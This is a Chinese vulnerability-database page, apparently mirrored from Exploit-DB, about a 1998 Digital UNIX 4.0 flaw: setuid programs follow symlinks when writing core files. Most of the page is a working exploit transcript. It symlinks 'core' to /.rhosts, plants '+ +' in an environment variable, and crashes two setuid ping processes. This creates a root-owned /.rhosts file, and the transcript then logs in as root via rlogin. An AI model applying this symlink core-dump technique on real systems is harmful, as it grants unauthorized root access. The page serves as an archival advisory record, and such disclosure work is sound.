Digital UNIX 4.0/4.0 B/4.0 D – SUID/SGID Core File

admin 2021年4月8日20:02:46关于评论73阅读模式

Digital UNIX 4.0/4.0 B/4.0 D - SUID/SGID Core File

漏洞ID 1053363 漏洞类型
发布时间 1998-04-06 更新时间 1998-04-06
Digital UNIX 4.0/4.0 B/4.0 D – SUID/SGID Core FileCVE编号 N/A
Digital UNIX 4.0/4.0 B/4.0 D – SUID/SGID Core FileCNNVD-ID N/A
漏洞平台 Unix CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/19068
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/74/info

Digital UNIX 4.0 will follow symlinks while writting core files if two setuid programs dump core in sucession. The core file is owned by root but with the user's groud id. The core file permissions are 0600. This can be used to create root owned file anywhere in the filesystem.

$ ls -l /.rhosts
/.rhosts not found
$ ls -l /usr/sbin/ping
-rwsr-xr-x 1 root bin 32768 Nov 16 1996 /usr/sbin/ping
$ ln -s /.rhosts core
$ IMP='
>+ +
>'
$ ping somehost &
[1] 1337
$ ping somehost &
[2] 31337
$ kill -11 31337
$ kill -11 1337
[1] Segmentation fault /usr/sbin/ping somehost (core dumped)
[2] +Segmentation fault /usr/sbin/ping somehost (core dumped)
$ ls -l /.rhosts
-rw------- 1 root system 385024 Mar 29 05:17 /.rhosts
##/.rhosts has been created....that's all.##
$ rlogin localhost -l root

相关推荐: Netscape Navigator及Java Developer's Kit允许程序与任意主机联络漏洞

Netscape Navigator及Java Developer's Kit允许程序与任意主机联络漏洞 漏洞ID 1207664 漏洞类型 未知 发布时间 1996-03-01 更新时间 1996-03-01 CVE编号 CVE-1999-0142 CNNV…

相关文章
weinxin
我的微信
微信扫一扫
admin
  • 本文由 发表于 2021年4月8日20:02:46
  • 转载请保留本文链接:https://aqxbk.com/archives/about/2021/04_08/19748.html